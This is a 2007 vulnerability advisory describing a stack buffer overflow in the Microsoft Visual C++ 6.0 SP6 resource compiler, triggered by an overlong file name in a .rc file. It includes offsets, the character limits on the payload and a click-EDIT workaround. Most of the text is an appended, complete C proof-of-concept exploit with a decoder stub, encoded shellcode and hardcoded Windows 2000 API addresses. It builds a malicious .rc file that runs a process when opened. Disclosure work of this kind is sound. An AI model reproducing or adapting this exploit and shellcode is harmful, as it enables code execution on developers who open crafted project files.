mssploit.txt
Posted on 24 January 2007
Advisory: //////////// Microsoft Visual C++ 6.0 is prone to stack based memory corruption vulnerability during processing .RC resource files, caused by the lack of input data boundary check. Vulnerable software: //////////////////// Microsoft Visual Studio 6.0 SP6 Impact: /////// Remote code execution Attack vector: ////////////// An attacker must construct malformed .RC file and induce victim to open it either as a part of attacker provided Visual Studio project or as a standalone resource file component. Technical Details: ////////////////// The stack based buffer overflow occurs in Microsoft Visual C++ MSDEV.EXE process within the resource compiler RCDLL.DLL module while processing .rc resource files. The problem lies in bad processing of the file name fields. In the followinig example: 1 TYPELIB MOVEABLE PURE "FilePath01" the FilePath01 string, if too long, will cause stack based overflow. It is caused by the file name parsing procedure within the resource compiler DLL, which checks for the validity of the file path. It also excludes all characters codes below 20h, plus codes 22h and 2fh, thus the payload has to be limited by this ASCII pool. The EIP overwrite value offset relative to the beginning of the payload (FilePath01 string) is not constant and depends from the OS enviroment. For the Windows 2000 ENG SP4 it is equal 224 bytes counting from the beggining of the FilePath01 string. Also it should be mentioned that when the length of the string exceeds 259 bytes the resource compiler parsing procedure enters infinite loop, writing the FilePath01 string repeatidly up to the top of the process stack memory area, then continues entering the heap area and destroying the process heap structure and finally causes writing access violation exception. Solution: ///////// There is a quick solution to avoid potential malicious attempts of this kind. Before the resource compiler parsing procedure will cause the buffer overflow through bad processing of the long file name string, it first monits user with the message box that the file specified within the .rc file does not exist.After either pressing OK or closing the message box the stack corruption will occur.However if the user clicks EDIT, resource compiler will abort and the MSDEV.EXE process will continue without any exception. Therefore any suspicious looking / unknown source project files matching the above pattern may be verified that way, before the official vendor patch is released. Conclusion: /////////// It must be considered that the attacks against the compilers are hard to justify because it is often almost impossible for users to audit or even understand every line of code in a project that they are ultimately going to compile and execute anyway. Therefore there is the same possibility for source code trojans and back doors as for the file format buffer overflow driven attacks using malformed project files. Finally, the most reasonable way to avoid this kind of attacks is to prevent from opening and running as well as compiling unknown source codes or project files, including for example appended to this advisory Proof of Concept exploit (.cpp) source file, which actually looks more than suspiciously to me... ;-) Credits: //////// Vulnerability discovered and researched by: porkythepig POC exploit by: porkythepig email: porkythepig@anspi.pl Exploit: //////// Proof of Concept exploit has been appended to this report. After compiled, it will produce .rc exploit file that should spawn notepad process when opened in Microsoft Visual C++ 6.0 SP6. Available exploit OS host enviroments are: [1] Windows 2000 SP4 English [2] Windows 2000 SP4 English with all the updates on 11.01.2007 It can be also found at: www.anspi.pl/~porkythepig/visualization/rc-kupiekrowe.cpp /////////////////////////////////////// //***************** // // Microsoft Visual C++ 6.0 SP6 resource compiler buffer overflow // vulnerability .rc resource files exploit // // vulnerability found / exploit built by porkythepig // //***************** #include "stdio.h" #include "stdlib.h" #include "memory.h" #define STR01 "Microsoft Visual Studio 6.0 SP6 .rc PoC exploit by porkythepig" #define DEF_SPAWNED_PROCESS "notepad.exe" #define EXPL_SIZE 283 #define DEC_CODE 0xBC #define DEC_CODE_OFFSET 0x2D #define ENC_SIZE_OFFSET 0x3E #define SHIFT 0x40 #define SHIFT_DEC_OFFSET 0x35 #define PROC_NAME_OFFSET 0x107 #define GETSTAR_OFFSET 0x11 #define CREPRO_OFFSET 0x6d #define GETWINDIR_OFFSET 0x25 #define ESPSUB_OFFSET 0x08 #define FNAMSHIFT_OFFSET 0x02 typedef struct { unsigned int getStarInf; unsigned int crePro; unsigned int getWinDir; unsigned int jmpEspPtr; }ApiPtrs; ApiPtrs osApiPtrs[2]= { 0x7c4f49df,0x7c4fc0a0,0x7c4e9c00,0x782f28f7, 0x7c596b7a,0x7c595010,0x7c592d23,0x77e16280 }; unsigned char decoder[]= { 0xeb,0x2a,0xeb,0x2a,0x8b,0xdc,0x81,0xc3, 0x40,0xff,0xff,0xff,0x8b,0xcb,0x33,0xd2, 0x8a,0x21,0x80,0xfc,0xbc,0x75,0xe9,0x41, 0x8a,0x21,0x80,0xec,0x40,0x88,0x23,0x43, 0x41,0x42,0x33,0xc0,0xb0,0x99,0x3b,0xd0, 0x7c,0xe6,0xeb,0xd6,0xeb,0xef }; unsigned char shlCode[]= { 0x83,0xc4,0x0c,0x8b,0xc4,0x8b,0xe6,0x90, 0x90,0x90,0x50,0x66,0x2d,0x10,0x20,0x50, 0xb8,0x7a,0x6b,0x59,0x7c,0xff,0xd0,0x5b, 0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81, 0xeb,0x10,0x30,0x53,0xb8,0x23,0x2d,0x59, 0x7c,0xff,0xd0,0x58,0x50,0x66,0x2d,0x10, 0x30,0x32,0xdb,0x38,0x18,0x74,0x03,0x40, 0xeb,0xf9,0x5b,0x53,0xb2,0xff,0xb1,0x5c, 0x88,0x08,0x40,0x38,0x13,0x74,0x08,0x8a, 0x0b,0x88,0x08,0x43,0x40,0xeb,0xf4,0xb2, 0x00,0x88,0x10,0x58,0x50,0x66,0x2d,0x10, 0x30,0x8b,0xd0,0x58,0x50,0x66,0x2d,0x10, 0x20,0x50,0x33,0xc9,0x51,0x51,0x51,0x51, 0x51,0x51,0x51,0x52,0xb8,0x10,0x50,0x59, 0x7c,0xff,0xd0,0xeb,0xfe }; unsigned char jmp1Seq[]= { 0xe9,0x2d,0xff,0xff,0xff }; unsigned char jmp0Seq[]= { 0xe9,0x28,0xff,0xff,0xff }; unsigned char espSub0=0x4e; unsigned char espSub1=0x5c; unsigned char fnamShift0=0x0e; unsigned char fnamShift1=0x1c; unsigned char retOffset1=0xe7; unsigned char retOffset0=0xf5; unsigned char jmp1Offset=0xeb; unsigned char jmp0Offset=0xf0; unsigned short back3=0xf5eb; unsigned char back3Offs=0xf9; unsigned char buf0[EXPL_SIZE]; char *outName; int osId; int defProc; unsigned char espSub; unsigned char fnamShift; unsigned char *jmpSeq; unsigned char retOffset; unsigned char jmpOffset; int Encode(unsigned char *destBuf, unsigned char *srcBuf, int srcSize) { int cnt,c1; for(cnt=0,c1=0;cnt<srcSize;cnt++) { if((srcBuf[cnt]<0x20)||(srcBuf[cnt]==0x22)||(srcBuf[cnt]==0x2f)) { destBuf[c1]=DEC_CODE; destBuf[c1+1]=srcBuf[cnt]+SHIFT; c1+=2; } else { destBuf[c1]=srcBuf[cnt]; c1++; } } return c1; } void CompileBuffer() { int ptr=0; int encSiz; memset(buf0,'1',EXPL_SIZE); ptr+=sprintf((char*)buf0,"1 TYPELIB MOVEABLE PURE ""); decoder[ESPSUB_OFFSET]=espSub; memcpy(buf0+ptr,decoder,sizeof(decoder)); buf0[DEC_CODE_OFFSET]=DEC_CODE; buf0[SHIFT_DEC_OFFSET]=SHIFT; ptr+=sizeof(decoder); *((unsigned int*)(shlCode+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf; *((unsigned int*)(shlCode+CREPRO_OFFSET))=osApiPtrs[osId].crePro; *((unsigned int*)(shlCode+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir; shlCode[FNAMSHIFT_OFFSET]=fnamShift; encSiz=Encode(buf0+ptr,shlCode,sizeof(shlCode)); buf0[ENC_SIZE_OFFSET]=sizeof(shlCode); sprintf((char*)(buf0+PROC_NAME_OFFSET),"%sxff",DEF_SPAWNED_PROCESS); buf0[PROC_NAME_OFFSET+sizeof(DEF_SPAWNED_PROCESS)]=0xff; *((unsigned int*)(buf0+retOffset))=osApiPtrs[osId].jmpEspPtr; memcpy(buf0+jmpOffset,jmpSeq,5); if(osId==0) { *((unsigned short*)(buf0+back3Offs))=back3; } sprintf((char*)(buf0+EXPL_SIZE-3),"" "); printf("Exploit buffer compiled "); } void WriteBuffer() { FILE *o; o=fopen(outName,"wb"); if(o==NULL) { printf("Cannot open file for writing "); exit(0); } fprintf(o,"//********** // %s //********** ",STR01); fwrite(buf0,EXPL_SIZE,1,o); fclose(o); printf("Output .rc file [ %s ] built successfully ",outName); } void ProcessInput(int argc, char* argv[]) { printf(" Microsoft Visual Studio 6 .rc resource files exploit "); printf("Vulnerability found & exploit built by porkythepig "); if(argc<3) { printf("Syntax: exploit.exe os outName "); printf("[os] host OS, possible choices: "); printf(" 0 Windows 2000 SP4 English "); printf(" 1 Windows 2000 SP4 English all updates on day 11.01.2007 "); printf("[outName] output .rc exploit file name "); exit(0); } osId=atol(argv[1]); if((osId<0)||(osId>1)) { exit(0); } if(osId==0) { espSub=espSub0; fnamShift=fnamShift0; jmpSeq=jmp0Seq; jmpOffset=jmp0Offset; retOffset=retOffset0; } else { espSub=espSub1; fnamShift=fnamShift1; jmpSeq=jmp1Seq; jmpOffset=jmp1Offset; retOffset=retOffset1; } outName=argv[2]; } int main(int argc, char* argv[]) { ProcessInput(argc,argv); CompileBuffer(); WriteBuffer(); return 0; }